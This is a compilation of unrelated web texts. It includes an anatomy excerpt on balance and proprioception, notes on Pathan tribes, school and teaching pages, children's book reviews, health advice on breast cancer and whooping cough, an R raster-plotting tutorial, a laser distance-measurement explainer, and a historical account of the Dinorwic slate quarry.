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Anatomy and Physiology: Don't Be So Touchy!
Don't Be So Touchy!
If you are still troubled by the idea of seven senses, how about this idea: It can be argued that touch is more than one sense. In addition to touch in general, what about the perception of levels of pressure, which has its own separate receptor, so necessary when holding delicate objects? How about temperature, which requires different receptors for the sensation of hot and for the sensation of cold? What about perceiving pain, with yet another receptor?
Splitting this up into multiple senses sounds like a bit much. After all, vision has separate receptors for black and white (rods) and for color (cones). Perhaps it is best to just think of touch as a complex sense involving multiple receptor types, similar to taste.
Knowing Which Way Is Up
In the inner ear the cranial nerve that goes to the inner ear is called the vestibulocochlear nerve (N VIII). This name illustrates the dual nature of this sensory nerve. Unlike mixed nerves with both sensory and motor functions, this one is all sensory. The cochlear branch goes to the cochlea, which, as I discussed earlier, is where the sounds we hear stimulate the nerve. The vestibular branch, however, has nothing to do with sound. This branch sends messages to our brains about balance, from a place that should have a familiar look to it!
As I mentioned earlier, we need the three axes (X, Y, and Z) to understand the areas of the body and body position. Mathematicians probably felt pretty good about themselves when they realized the need for three axes, but nature had us beat by hundreds of millions of years. The three axes are beautifully represented by the three semicircular canals, which make up the vestibular system.
Looking like some sort of weird alien snail head, the three semicircular canals (anterior, posterior, and lateral), which are about 90 degrees from one another, stick out of the wide end of the cochlea, one for each of the three axes. Let's try a little experiment. Sit upright and close your eyes. Now point straight up and open your eyes. (Perhaps you ought to memorize these instructions first, since your eyes will be closed!) Did you point in the right direction? Close your eyes again and lean all the way left, right, forward, and back. Were you always able to point up? That's what your vestibular sense does for you!
The sense of balance or equilibrium can be divided into two parts: static equilibrium, which mainly has to do with the head's position in terms of gravity, and dynamic equilibrium, which responds to rapid movement, such as spinning, accelerating, or braking to a halt. The key to all this is the movement of either fluid or crystals (yup, crystals) as perceived by hair cells. As I mentioned earlier when I discussed hearing, hair cells are not really nerve cells but epithelial cells that open ion channels to stimulate neurons.
Flex Your Muscles
If you really want to get a sense of your semicircular canals, stand up and spin around 10 times very fast and then stop! Dizzying, isn't it! Didn't you ever do this as a child? Now imagine the endolymph flowing around and around with you as you spin. When you stop, inertia will keep the endolymph sloshing around until friction and gravity finally slows it down! Think about what you see when you are dizzy: the room doesn't look like it spins all the way around, but only part way, and then the image snaps back, as your brain tries to reconcile messages from your retina and your hair cells!
For static equilibrium, there are two areas where the semicircular canals join the cochlea, called the utricle and the saccule. In both miniature organs are calcium carbonate crystals (CaCO3) called otoliths, or otoconia, that rest on a layer of glycoproteins called the otolithic membrane. Embedded in the base of that gelatinous membrane, from the surface of every hair cell, are microvilli called steriocilia, and a longer single cilium called a kinocilium. Between each of the hair cells is a supporting epithelial cell. The upper surface of the otolithic membrane is slippery, and tilting the head causes the otoliths to slide around, changing the pressure on the various hair cells, which in turn stimulate the neurons and alerts the brain to general changes in static equilibrium.
If you tilt your head slowly, the brain can still sense the change in direction (the otoliths still move), but if you are turned around very slowly (with eyes closed), or you accelerate in an airplane very slowly, you are not likely to perceive it. Rather than using otoliths, the semicircular canals use the movement of a fluid called endolymph to stimulate neurons as a result of a change in dynamic equilibrium. Imagine carrying a mug of hot coffee that is very full. If you don't want to spill it and scald yourself, don't you move slowly? If you move quickly, the coffee will spill. The reason for this is inertia. The coffee tends to stay at rest, but the acceleration of the mug slams into the coffee at the back of the mug, generating a wave from friction that causes the coffee to slop over the side.
In this way, the endolymph in the semicircular canals moves only to sudden changes in motion, hence the word ?dynamic.? The base of each canal has an arched shape, and the neurons attach to the underside of the arch. Within the fluid is a structure called a christa, which is similar to the structures used in static equilibrium, except without otoliths. There are hair cells between supporting cells, and a gelatinous layer of glycoprotein, this time called a cupola. Sudden changes cause the endolymph to shift the cupola, like an ocean wave will shift kelp, moving the hairs, thus stimulating the neurons. Pretty cool!
Proprioception, or Where Are My Feet?
People always seem to take this sense for granted, which I always think a shame, because it is one of my favorites. I am talking about proprioception, or the ability to perceive body position, or more specifically the position of your muscles, even without using your eyes. It doesn't sound like much, but think about the last time you were walking upstairs talking to someone. Did you have to look at your feet in order to reach the next step? When Mozart was a child prodigy being paraded around before European royalty, his father used to have him perform one or more parlor tricks, such as playing harpsichord with a cloth covering the keys, or even playing while blindfolded.
I called those parlor tricks because any good piano player can do that without thinking. Can you type without looking at the keys? If so, you can thank proprioception. This sense is thrown into sharp relief on those rare occasions when you are deprived of it. I remember when I was in seventh-grade I broke clean through both the radius and ulna of my right arm. When the doctor was about to set my arm it was tied up in a tourniquet, and I was injected with a ?horse syringe? full of Novocain. I remember looking to the left while answering the nurse's questions, thinking my right arm was hanging loose over the edge of the table. When I looked back I was shocked to find that it was being held with my hand up in the air! That shows how much we take proprioception for granted. One last thing. Say ?Happy birthday.? Think you know how your tongue knows how to move without you being able to see it? That's right?proprioception!
Excerpted from The Complete Idiot's Guide to Anatomy and Physiology 2004 by Michael J. Vieira Lazaroff. All rights reserved including the right of reproduction in whole or in part in any form. Used by arrangement with Alpha Books, a member of Penguin Group (USA) Inc. |
|This man is of the tribe or clan called Malikdin Khel. It is unclear what rank he is but his drab uniform has green shoulder straps and piping. The top of his green pointed kullah can be seen on his turban.|
When we hear the name Pathan we think of wild mountain tribesmen, the last people that the British would recruit into the army and trust with a weapon. But this is a misconception, because although the Pathans come from the inhospitable mountains of Afghanistan originally, it was natural for their tribes to spill out onto the plains and through the generations settle into a more peaceful way of life.
George Macmunn, a British officer who served many years in Northern India attempted to describe the caracteristics of the various Pathan clans in his 1911 book, 'The Armies of India'. Nowhere in his writings do I detect any sense of white racial superiority as one would expect from an 'Empire' man of this period, rather he effuses respect, where it is due. The worst he could be accused of is being patronising. It may be useful to list the types and tribes he mentions, which although not comprehensive, may help sort out a confusing but important subject. The Pathans are mainly to be found in the North-West Frontier province of what is today called Pakistan but was then India under British administration. Their language is Pukhtu (the hard dialect) or Pushtu (soft dialect).
THE DURANIS These are the Afghans proper, from Zemindawar and Ghor. A few of these came out of the mountains to join the cavalry, but a considerable number had already settled in British India near Multan and in the Derajat on the Indus. These serve mostly in the 15th Cavalry, the 21st Cavalry or the Baluch Horse. Apparently they claim Jewish descent, calling themselves the Ben-i-Yisrael (Children of Israel). Their legendary ancestor is one Kais, said to be 37th in descent from Saul. Settlements of professing Jews are to be found in Bokhara, claiming that they are descendants of Reubenites, Gadites and half of Manasseh carried away to central Asia by Tiglath-Pileser. Many Afghans have biblical mames like Jacob or Ya-acov, Abraham or Avraham, Isaac or Yitzhak.
THE YUSUFZAI Or the sons of Joseph, live in the Peshawar Valley or the bordering hills and the mountains towards Chitral. They make excellent soldiers and are to be found mainly in the Guides.
MOHMANDS and UTMAN KHEL They come from the region between Peshawar and the Khyber Pass. Khel translates as 'clan'.
AFRIDIS They inhabit the hills around the Khyber Pass and regard themselves as responsible for it. They are probably a Rajput or Aryan tribe. There are more Afridis in the Army than any other group. They make good skirmishers and work well indepentently. Some of them have fair hair and blue eyes.
ORAKZAI These come from the valley between the Afridi hills (Tirah) and the Samana Range.
KHATTAKS Further south, another widely enlisted tribe who live in the Khattak Hills also claiming Jewish descent. They have lived under British rule longer than many of the others so are less 'wild' and are regarded as reliable and courageous.
THE BANGASH Closely allied to the Khattaks. They are Shiahs and live in Miranzai.
TURIS A Shiah Moslem tribe from the Kurram Valley in Afghanistan. They only enlist in the local militia, but have a considerable military reputation.
MAHSUD CLANS Living in Waziristan, a tumbled mass of hills between the Kurram and Baluchistan. They include the Darwesh Khel. They cause immense trouble for the British but make remarkably fine soldiers especially when serving away from their own land.
Uniforms | Regimental History |
Math Vocabulary PowerPoint for 3rd Grade
I hope you will enjoy using it in your classroom as a great startup/hook for your math lessons.
I suggest using this PowerPoint to review the math vocabulary several days a week.
I start the year with me pronouncing the word and the student will echo back. Just be creative in your presentation. The students will get to where they repeat the words with ease. They love the speed rounds.
After the PowerPoint presentation(about 3mins.) I then discuss and display the vocabulary words that we will focus on in their lesson that day. Students will end the class by adding the new vocabulary word to their math journal.
Thanks Again!... Joy
Please visit my new blog at |
We are providing all chapters solution of HC Verma Concept of physics part 1 and part 2 book. The solution is in pdf format so that in could be protected from some editors. Here is the solution of chapter 32 named Electric Current in Conductors.
Electric Current in Conductors : Chapter 32 Thirty Two : Solution By HC Verma
Electric current was carried by ions in an electrolyte. it is the flow of the electric charge. electric circuit carried by moving electrons in a wire. electric current is mapping in ampere. electric current is measuring using ammeter electronic device. electric conductors, insulators and semiconductors are relates with electric current. but it is obvious that you have already read and understood that book and now you are looking for solution of chapter 32. So here is the images of whole chapter solution or you can download all the images in single pdf file by clicking on below given link. |
by Michael D. Barton
CLEARING Associate Editor
Dawn Publications (Facebook/Twitter/blog) has three new children’s nature books out for ages 3-8, and I am delighted to not only have copies for my children, but to share with you how awesome they are. This publisher does wonderfully how books about nature for kids should be done: entertaining, beautiful, and engaging. They are not dry, simple lists of facts that would lose the attention of any kid (or adult).
Over in a River
Continuing with their “Over in the…” series (I shared about Over in the Forest previously), Over in a River: Flowing Out to the Sea by Marianne Berkes with lively cut paper illustrations by Jill Dubin, serves as an introduction to rivers in North America and the animals that call them home. Ten rivers are covered, each page showing the river’s place on our continent. Following the classic rhythm “Over in the Meadow,” kids will paddle with manatees in Florida, splash with salmon in the Pacific Northwest, and gnaw with beavers in the Southwest. They will learn what to call the young of the ten animals throughout the book, and as the paddle, splash, and gnaw above indicates, something that each animal does to survive. And as expected with books from Dawn Publications, there is more detailed information about the animals and rivers at the end for parents and educators to use for learning opportunities.
Jo MacDonald Hiked in the Woods
Perhaps you want to get out of the water and on drier land. Mary Quattlebaum offers her third in the Jo MacDonald series: Jo Macdonald Hiked in the Woods. Jo goes along with her grandfather for a walk in the woods on his farm, and discovers a world of sound. Woodpeckers rat-tat, turkeys gobble-gobble, butterflies flutter-flutter, and owls hoo-hoo. Along with five other creatures, they all make their sounds here and there. Combining song and listening with Laura J. Bryant’s warm paintings of Jo and grandpa taking delight in discovering what’s in their woods makes for an enjoyable read.
Noisy Frog Sing-Along
John Himmelman has followed up on his Noisy Bug Sing-Along (shared here) with Noisy Frog Sing-Along. Himmelman introduces us to eleven different species of frog and toad and the sounds they make. The text is minimal, but the enlarged font size of the spelled-out sounds calls for the readers to make some noise. Take a break from being a mammal and practice being a noisy amphibian! The last few pages give more detail about each species, explains metamorphosis, and offers tips for how to see frogs (or salamanders). Additionally, a link is provided for a page on the Dawn Publications website where you can listen to audio files of the actual sounds shared in the book.
This review by Michael D. Barton appeared originally at Explore Portland Nature – http://exploreportlandnature.wordpress.com/ |
You'd be forgiven for thinking there's been an increase in the number of young women diagnosed with breast cancer. After all, there has been, in recent years, an increase in media coverage of high-profile cases of breast cancer in women under 40.
Statistics show, however, that the numbers of women aged under 40 diagnosed with breast cancer have remained steady for almost 3 decades.
That doesn't mean breast cancer is not a threat to young women. Almost one-quarter of women diagnosed with breast cancer are aged under 50 — the age at which routine screening mammograms start to be strongly recommended.
Here's what you need to know about the detection of breast cancer in young women.
Mammograms for women under 40
There is no evidence to support the routine use of mammograms in women aged under 40. One of the reasons, is the higher density of the breast tissue in younger women can make it difficult to detect cancers.
For this age group, there's an increased chance of a false positive result (the mammogram appears to suggest a breast cancer where none is present) or a false negative result (where a breast cancer that is present doesn't show up on the mammogram).
All women aged over 40, however, are entitled to a free mammogram if they wish to have one, and all women aged between 50 and 74 are strongly encouraged to be screened every 2 years.
In 2005, there was a 40% increase in mammogram bookings in some states during the 2 weeks of media coverage following Kylie Minogue's breast cancer diagnosis at age 36. —The Medical Journal of Australia
If you’re under 40 and are worried that you might be at high risk of breast cancer due to your family history, for example, you should speak to your GP about breast screening.
Be breast aware: know the signs and symptoms
Getting to know your breasts is one of the best ways to detect signs of breast cancer — particularly for women who may be too young for mammograms.
Most breast cancers in young women are diagnosed as a result of investigating a lump or other symptom. Breast changes to look out for include:
- a new lump or any lumpiness, especially if it's only in one breast
- changes to the shape or size of your breast, including any 'thickening'
- any change to the nipple, such as crusting, ulcer, redness or inversion
- nipple discharge that occurs without squeezing
- changes in the skin over your breast, such as redness or dimpling
- persistent and unusual pain
If you notice any of these signs or symptoms, it does not mean you have breast cancer. But you should see your doctor.
Lifestyle tweaks can help prevent breast cancer
Breast cancer can strike anyone, regardless of your genetics. Less than 1 in 20 cases of breast cancers are associated with a family history. There are things you can do to reduce your risk of breast cancer, such as:
- maintain a healthy body weight
- be physically active on most days
- limit your alcohol intake
- consume 5 serves of vegies and 2 serves of fruit daily
- reduce intake of red meat and processed deli meats
- consider breastfeeding for longer if you have a baby
- quit smoking
October is Breast Cancer Awareness Month
Breast cancer is still the most common cancer among Australian women (with the exception of non-melanoma skin cancer). But almost 9 in every 10 women diagnosed with invasive breast cancer will survive 5 or more years after their diagnosis.
Help these organisations continue to improve survival rates by showing your support.
- Breast Cancer Network Australia (BCNA)
- National Breast Cancer Foundation (NBCF)
- Cancer Council Australia
- McGrath Foundation
- Garvan Institute of Medical Research
Want more like this?
For health and wellbeing news you can use, go to the healthdirect blog. |
By Fox News Latino | 10/29/2010 - 11:26
A serious whooping cough outbreak is happening in the U.S., especially in California. Whooping cough, also called pertussis, is a highly contagious bacterial infection that causes severe coughing spells and respiratory inflammation of the upper airways. It is spread when an infected person coughs or sneezes, sending bacteria airborne. Whooping cough can be tough to diagnose because early symptoms are mild and resemble a cold. In some people, this infection can lead to pneumonia and in severe cases, even death. |
Western Culture 103
Accepting Differences Saves Lives
Change can be hard to accept for many people. One’s who have been raised to think, act, and participate in life in a certain way tend to find it harder to accept change. However, as the old saying goes, things fall apart so that new things can take its form. In the book Things Fall apart by Chinua Achene, there was conflict between the traditional villagers and the European colonial establishment because the whites were blind to the insight of the African culture and the villagers where stirred the wrong way by a single man. Conflict rose due to stubbornness. Once both worlds are mixed ...view middle of the document...
Although they were forced into beliefs, the people of Umuofia came to the conclusion that the white men held more knowledge; therefore they were stronger than them, because of this the villagers would eventually surrendering to the white man’s culture.
When Okonkwo returned he had realized that the clan was not how it used to be. Change did not sit well with him. Unlike some of the other clan members, he would not surrender to the new order. Obierika explains how it is already too late, but Okonkwo expresses to him how “[they] must fight and drive them from the land” (176). Although the white men meant well, Okonkwo had a point. The white man’s court had just come and took over. The African culture had a set of principles that made since to them but not to all of the colonist . The white missionaries and officials assumed that they are bringing order and law, as to say that the African culture is not smoothly functioned. Men, deeply filled with cultural pride such as Okonkwo, were so stubborn and would not live any other way. If changing his culture back involved killing people then he would do so. Prior to the change and Okonkwo’s exile, that behavior was common in the African culture. His disagreement to this change was not foreign, during the western civilization, decolonization was becoming popular. Many people and colonies had a hard time adjusting to new lifestyles.
Not only does Okonkwo not have tolerance for miss understanding, Reverend James Smith, the successor of the white Commissioner, Mr. Brown, did not tolerate it either. Like Okonkwo, now the settlers and missionaries cannot imagine a change after getting all of these people under their law.
The result of a killing ends in a church being burned down due to a traditional act. Okonkwo is almost satisfied until he calls for a meeting and realizes that his people are not in agreement with him:
The waiting backcloth jumped into tumultuous life and the meeting was stopped. Okonkwo stood looking at... |
Engage, Discover, Share
Bertschi School's curriculum is known for combining challenging core academics with "real world" activities that engage students in interdisciplinary learning.
Our teachers work collaboratively to create learning projects driven by current research, faculty expertise, and the desire to make education fun and relevant and challenging.
Multi-disciplinary lessons blend conscientious academic instruction with technology, art, drama, music, science, physical education, library, and Spanish. Classroom teachers work to architect rich experiences for children by partnering with skilled subject specialists and resource teachers who contribute across all grade levels, adding to our integral sense of on-campus community.
Bertschi kids actively engage in hands-on projects, work collaboratively with other students, and celebrate the unique qualities of every student—exploring the dimensions of topics from many perspectives.
Diverse cultures are studied through year-long, project-based studies to explore origins of families, aspects of community, history and celebrations. Our curriculum emphasizes diversity to broaden perspectives and encourages children to become active community members at Bertschi and beyond.
The seeds of environmental responsibility are planted right from the start in PreK. Utilizing young children's innate curiosity about the natural world, pre-kindergarteners embark on a year-long discovery of local plant life found in and around our homes, parks and school. This integrated study allows children to deepen understanding of the importance plants play in our daily lives. The PreK classroom has a dedicated space to document and give voice to children's observations, questions, experiments and learning about plants.
The art of storytelling is fostered even in our youngest writers. Every Friday, parents join kindergarten classes to support our students in bringing their ideas to life on paper through words and art. These young writers are encouraged to spin their tales through weekly story time in the library, sophisticated projects in art class, monthly self-portraits in the classroom and anywhere else inspiration may strike!
D.E.A.R. (Drop Everything and Read) Time:
Bertschi students’ love and enthusiasm for reading truly flourishes in first grade, as they are constantly empowered to read independently. With everything from special weekly phonics lessons led by the Director of Learning Services, to Home Reading Projects, author studies, choral reading, word attacks, and “just right” reading groups, children’s literature is explored deeply in first grade.
Anacondas, spider monkeys, three-toed sloths and more! Second grade classes explore across science, library and art classes to discover the earth and life sciences of the Amazon rainforest. Transforming their classrooms into a living, breathing forest, students create lifelike animal replicas and write juicy descriptions of the rainforest ecosystems. The young scientists practice their public speaking through presentations of personal expertise on their chosen animal.
Seattle History Project:
Project-based learning explodes in 3rd grade. The study of Seattle history, geography and peoples is married with videography so each third grade student emerges as a budding documentarian. Co-taught by the third grade classroom teachers and Technology Integration Specialist, this is the year that students grow tremendously in their creative expression and storytelling skills through the use of technology.
Portrait of the Whole Person:
This multifaceted project explores portraiture, writing, literature and disability rights and awareness. The project beings with a presentation on disability culture and history by Stacie Siebrecht, Associate Director of Legal Advocacy at Disability Rights Washington. Through reading, art, and writing, students paint portraits and create inspiring biographical sketches of people with disabilities. The artistic portraits and biographies are exhibited at the Montlake branch of the Seattle Public Library.
World Peace Game:
As a capstone project of the Bertschi experience, 5th grade students spend eight weeks immersed in a hands on geo-political simulation that allows them to explore global connectedness through politics, the economy, environmental strife, social crises and the imminent threat of war. As meaning is constructed out of the chaos, allegiances formed and negotiations navigated, students develop creative solutions in an attempt to live and prosper in an unknown frontier.
Learning Environmental Responsibility
PreK explores their curiosity for the natural world, spending time observing and experimenting with plants.
Kindergarten's Budding Authors
Kindergarteners express their big ideas on paper, through words and art.
First graders jump right into independant reading, exploring children's literature with zeal.
Second graders become experts on the rainforest ecosystem, and even creating lifelike models of favorite animals.
Seattle History Project
Third graders experience video production and editing, creating their own documentaries about the history of their city.
Shakespeare in residence
Fourth graders take over the drama lab and blow audiences away with their enthusiastic performances of Shakespeare's classics.
Achieving World Peace
The first school in Seattle to play, our fifth graders spend 8 weeks immersed in the challenges and triumphs ofJohn Hunter's World Peace Game. |
To explore the cell values of raster layers several types of graphical summaries can be used, such as boxplots, and density plots. Scatter plots can be used to explore the relationships between the values of different raster layers.
Below examples of the generartion graphical summaries of the values and relationships between raster layers in R are presented. These examples are taken from the “Yasi Effects on Green Cover at Mission Beach” tutorial. It can be beneficial to put the code snippets in context by looking at a broader section of the R script. Code snippets have a grey background, and outputs have a white background.
We create boxplots and scatter plots (with loess) using the 'bwplot' and 'splom ' functions in the 'rasterVis' package. To create density plots we use two methods: (1) using the 'densityplot' function in the 'rasterVis' package, and (2) the 'ggplot' function in the 'ggplot2' package. The latter approach produce nicer graphs, but requires more elaborated coding. Finally, we use the 'grid.arrange' function in the 'gridExtra' package to plot multiple grobs (i.e. grid graphical objects) on a page (i.e. in a single graph).
Boxplots and scatter plots
The 'bwplot' and 'splom' functions require a RasterStack or RasterBrick object. In our example we already have a rasterBrick with raw (in %) values (i.e. for 2010-Winter and 2011-Winter). However, we need to create an analogous rasterBrick with standardised (i.e. in SDs) values.
Method 1: Using ‘densityplot’ from the ‘rasterVis’ package
Method 2: Using ‘ggplot’ from the ‘ggplot2’ package
To create the the density plot using the 'ggplot' function, we first need to convert the raster cell values to a vector of values (i.e. a variable) using the 'values' function in the 'raster' package. Then we combine all variables into a data frame. Finally, convert the wide format data frame to long format (i.e. combining both year values in the same column with an additional column/variable containing the year-season), as this format is required in the arguments of the 'ggplot' function. |
During the 2016-2017 school year, Mrs. Cox was awarded a grant through the Bethel Education Foundation for the purchase of a classroom set of Ozobots–small, smart robots that can follow lines or roam around independently, detect colors (which are programmed to give the robot directions on what to do or where to go) or can be programmed.
Students get to try their hand at programming the Ozobots by using paper, markers and a special chart of codes. Their job is to learn how the robot responds to various codes so that they can transfer their newfound skills to another task–like Ozobot Bowling! Students have to figure out how to get their Ozobot from the “home” spot on their paper, around the pathway to knock down two bowling pins and then return “home”. The process of trial and error is highly evident as they work their solutions to the problems presented as they attempt to solve the puzzle. Eventually, after students learn more about how our robots respond to various codes, they then graduate to “Ozoblocking”–online coding where students will drag a series of computer programming on our Chromebooks in order to teach their robot various skills. |
Techniques for Distance Measurements
Some of the most important techniques used for laser distance meters are as follows:
Triangulation is a geometric method, useful for distances in the range of ∼ 1 mm to many kilometers.
Time-of-flight measurements (or pulse measurements) are based on measuring the time of flight of a laser pulse from the measurement device to some target and back again. Such methods are typically used for large distances such as hundreds of meters or many kilometers. Using advanced techniques, it is possible to measure the distance between Earth and the Moon with an accuracy of a few centimeters. Typical accuracies of simple devices for short distances are a few millimeters or centimeters.
The phase shift method uses an intensity-modulated laser beam. Compared with interferometric techniques, its accuracy is lower, but it allows unambiguous measurements over larger distances and is more suitable for targets with diffuse reflection.
Note that the phase shift technique is sometimes also called a time-of-flight technique, as the phase shift is proportional to the time of flight, but the term is more suitable for methods as described above where the time of flight of a light pulse is measured.
For small distances, one sometimes uses ultrasonic time-of-flight methods, and the device may contain a laser pointer just for getting the right direction, but not for the distance measurement itself.
Frequency modulation methods involve frequency-modulated laser beams, for example with a repetitive linear frequency ramp. The distance to be measured can be translated into a frequency offset, which may be measured via a beat note of the sent-out and received beam.
Interferometers allow for distance measurements with an accuracy which is far better than the wavelength of the light used.
A laser radar is a device which uses one of the distance measurement techniques as described above, and scans the direction of the distance measurement in two dimensions. This allows the acquisition of an image, or more precisely a depth profile of some object, as required e.g. in robotics. For acquiring such depth profiles at a higher rate, there are sensor chips similar to CCDs (charge-coupled devices) with internal electronics to detect phase shifts, so that the distance for each pixel can be measured simultaneously. This allows for rapid three-dimensional imaging with very compact devices.
Compared with ultrasonic or radio and microwave frequency devices (radar), the main advantage of laser distance measurement techniques is that laser light has a much smaller wavelength, allowing one to send out a much more concentrated probe beam and thus to achieve a higher transverse spatial resolution. Another advantage that an optical bandpass filter makes it possible to very effectively remove noise influences at other optical frequencies. |
Dried fruit has many advantages just as fresh fruit such as vitamins and minerals and fiber. Dried apricots are very rich in iron, vitamin A, and potassium. In addition, it has more vitamins than the fresh apricots, and they are incredibly tasty. The other thing about dried fruits is that they are a very good source of fiber. One serving of 100 gr dried apricots contains nearly 7 gr of dietary fiber and 4 gr of protein. There are many ways which you can implement dried apricots in your diet. One of them is together with nuts and seeds as a healthy snack; tossed in a salad together with avocado and sunflower seeds. There are many health benefits of apricots and here are the top beneficial ones.
Top Reasons to Use Dried Apricots
For fighting anemia
Dried apricots are high in iron that helps fight anemia.
Dried apricots contain a lot of pectins that help with constipation and good digestive health.
For skin health
Apricots are used in many skin care treatments and scrubs as they help with acne and clear the skin.
Dried Apricots are very rich in vitamin A that is responsible for good vision.
Since dried apricots are high in potassium; it is responsible for muscle building and repairing tissues.
Blood clothing Prevention
Dried Apricots are very rich in vitamin K that prevents blood clotting and excessive bleeding. |
THE ROOFING SLATES OF DINORWIC [DINORWIG].
700 ACRES OF QUARRY.
THOUSANDS of holiday visitors every year coach round Snowdon from Carnarvon [Caernarfon],
and gaze with astonishment at the terraced precipices of Elidir, opposite
Llanberis. Very few, however, realise the full significance of the mighty
Dinorwic [Dinorwig] or Port Dinorwic [Y Felinheli] slate quarry which has carved
its way into the mountain side.
Yet this quarry is famous the world over for the slate which it produces.
No form of economy is more delusive, or more expensive in the long run, than
to roof a house with inferior material, however cheap in the beginning.
Fortunately, Nature herself has provided an ideal material for the
purpose-namely, slate. This stone has been hardened for centuries in the solid
earth by incalculable pressure, which has rendered it extraordinarily hard-far
harder than any substance, like brick or pottery, which can be produced
artificially by the action of fire in kilns. Geologically slate belongs to fie
oldest systems in the Primary division-pre-Cambrian, Cambrian, Ordovician, and
so forth-and is thus among the oldest stones in existence. Its age is shown by
the fact that it contains no fossils. Moreover, unlike all other stone, it is
capable of being split longitudinally into smooth, flat layers, each of which
retains the hardness of the original blocks.
WELSH SLATE THE BEST
There is no slate in the world which possesses the quality of hardness in so
high a degree as that of Wales. If corroboration were required, it might be
found in the significant fact that geologists have given to the oldest and
hardest of slate the adjective Cambrian, Cambria being the ancient Roman name of
Wales. It is in the north-west corner of Wales that the best slate is found. The
observant traveller between Bangor and Carnarvon [Caernarfon], as he passes
along the Menai Straits, will see everywhere slate in practical use, not only
for roofs, but for nag-stones, boundary walls, gravestones, doorsteps, and the
like. Half-way in the journey he will come to the small town of Port Dinorwic [Y
Felinheli], which has come into existence as a harbour for the great slate
QUALITY OF DINORWIC [DINORWIG] SLATE.
Just as slate stands pre-eminent among roof materials, so Dinorwic [Dinorwig]
slate is unsurpassed throughout the world in the excellence of its quality. The
quarry is the largest in the world, and its slate is the hardest and most
durable. It has every possible colour - blueish, reddish, grey, sea-green,
&c.- and the various qualities (e.g., Best and Seconds Old Quarry, Best and
Seconds New Quarry, Best and Seconds Green and Wrinkled, Best and Seconds
Mottled, etc., etc ) simply cannot wear out. Quite recently a Blackburn slater
stripped the roof from a house which was known to have stood unaltered for a
hundred years. Dinorwic [Dinorwig] slate had been used, and he found that they
were absolutely as good as new. They were immediately used for another
horse-which also they will assuredly outlast.
This intense hardness is due partly to the tremendous natural pressure which
has acted for countless centuries upon the lowest rock-strata and partly also to
the bands of igneous rock which have been forced up through the slate beds.
Obviously the intense heat of these volcanic neighbours has submitted the slate
to an ordeal to which ordinary heat is a mere nothing. Another important
advantage is that the slate is absolutely impervious to the corrosive action of
acids in the atmosphere. An example of this is the fact that the largest glass
manufacturers in the world, Messrs. Pilkington, of St. Helens, have found it
absolutely necessary to roof their works with Dinorwic [Dinorwig] slate. No
other material can withstand the gases which are generated by glass-working, and
the many chemical manufactories in the town. Yet Dinorwic [Dinorwig] or Port
Dinorwic [Y Felinheli] slate, as it is also called, withstands this severe
strain with complete equanimity.
Similarly the Mersey Docks and Harbour Board always specify Dinorwic [Dinorwig]
slate for their warehouses and sheds. the surface of Dinorwic [Dinorwig] slate
is so hard that no damp can find ingress. Tested by chemical analysis, it
emerges as the finest slate the world produces. A rough experiment emphasises
this point. If overnight you affix a ring of putty to a Dinorwic [Dinorwig]
slate, and fill the circle with water, no moisture will be found on the
underside in the morning; in the case of inferior slate the water will gradually
percolate through the pores till it readies the lower surface.
THE QUARRY ITSELF.
Visitors to North Wales cannot spend a more interesting day anywhere than at
Dinorwic [Dinorwig]. The quarry itself is seven miles inland from the Menai
Straits. It is cut into the south side of the mountain called Elidir, which
overlooks the village of Llanberis, and confronts the great mass of Snowdon
across the two lakes, Peris and Padarn. It has been worked continuously for a
century and-a-half, during which millions of tons of slate have been removed.
THE DINORWIC [DINORWIG] RAILWAY SYSTEM.
When a sufficient number of slates have accumulated and are then ready for
transport, they are placed in small trucks running upon a narrow gauge railway
which ramifies into every corner of the great quarry. There are upwards of 50
miles of this railway, and thousands of trucks are used. They are hauled along
the terraces to the nearest incline by light locomotives, of which there are
some two dozen in the workings. Down the inclines-some of which have a gradient
of one in one! - there is a double line. The trucks are securely attached to an
endless steel rope with a breaking strain of nearly 30 tons which winds round
two great drums in a shelter at the top. the trucks, going down by force of
gravity, haul up "empties," and so the circle is completed. Each
gradient is complete in itself with junctions which communicate with subsidiary
terraces right and left. Viewed for a distance they give the impression of a
series of ladders, each beginning and terminating in a small level space where
the trucks are transferred from one rope to another. Each series of such
gradients ends on a sort of main line which runs the entire length of the lowest
quarry level, and communicates with what may be called the trunk line from the
quarry to the quays of Port Dinorwic [Y Felinheli].
NARROW GAUGE AND BROAD GAUGE.
The slates having arrived at the lowest level are examined, classified, and
credited to the particular quarrymen who have delivered them. At this point an
obvious problem meets with a most ingenious solution. Obviously the narrow
railway required for the gradients and tunnels of the quarry system is unsuited
to a seven-mile line on open and fairly level country. the quarry engineers have
therefore built their trunk line with a four-foot gauge, and prepared trucks
which each carry four of the smaller trucks required for quarry work. The
smaller trucks are run on their own line to the very edge of the terminus of the
trunk line, and pushed on to the larger trucks waiting at a lower level to
receive them. They are securely held in position on the larger trucks by an
automatic device. A complete train of these larger trucks, which may carry
altogether 100 tons of slate, is then dispatched to Port Dinorwic [Y Felinheli]
The terminus of this trunk lines is not quite the end of the journey. There
is still a quarter of a mile of very steep descent to the harbour. The small
trucks are, therefore, wheeled off the larger trucks, and once again separately
attached to an endless chain which escorts them to fit quay, where the slates
are stored close to the ships.
Sir Charles Assheton-Smith comes of a long line of ancestors who have held
large tracts of land in Carnarvonshire [Caernarfonshire] since the time of
Charles's II., and resides on the beautiful wooded estate of Vaynol, close to
the Menai Street and the Britannia Tubular Bridge which carries the Holyhead
THE HARBOUR AND WHARVES.
Port Dinorwic [Y Felinheli] itself nestles in a tiny inlet opening out of the
Strait. Its old name is Velinheli, which means "Saltwater Mill," and
derives from an old mill which stood on the inlet and used the ebb and How of
the tide to turn its wheels. The inlet was lengthened and widened some ten years
ago to admit the fleet belonging to the quarry. It is entered by a lock, and
there is a dry dock for repairs. At the head is the private electric light and
power station which supplies not only the wharves, but also the village of Port
Dinorwic [Y Felinheli], which has grown out of the needs of the great quarry
enterprise. The harbour has a complete repairing equipment, in charge of a
THE OVERSEAS TRAFFIC.
Day after day the steamers leave Port Dinorwic [Y Felinheli] carrying slates
to Liverpool and all the ports of the British Isles, especially Lancashire,
Scotland and the East Coast. From Liverpool the slates are sent all over the
world - to Germany, Austria, South America, India, Australia and the Cape. The
present writer saw a consignment of 200 tons ready for shipment to Sydney via
Liverpool. On an average some 100,000 tons annually leave the harbour of Port
Dinorwic [Y Felinheli].
More than 3,000 men are employed in the quarry and at the harbour. Owing in
large measure to the generous interest taken in them by Sir Charles and Lady
Assheton-Smith, the relations between them are cordial in the extreme. It is
actually twenty-five years since any dispute has occurred. When we remember the
acute controversies to which industrial revolutions have given rise in that
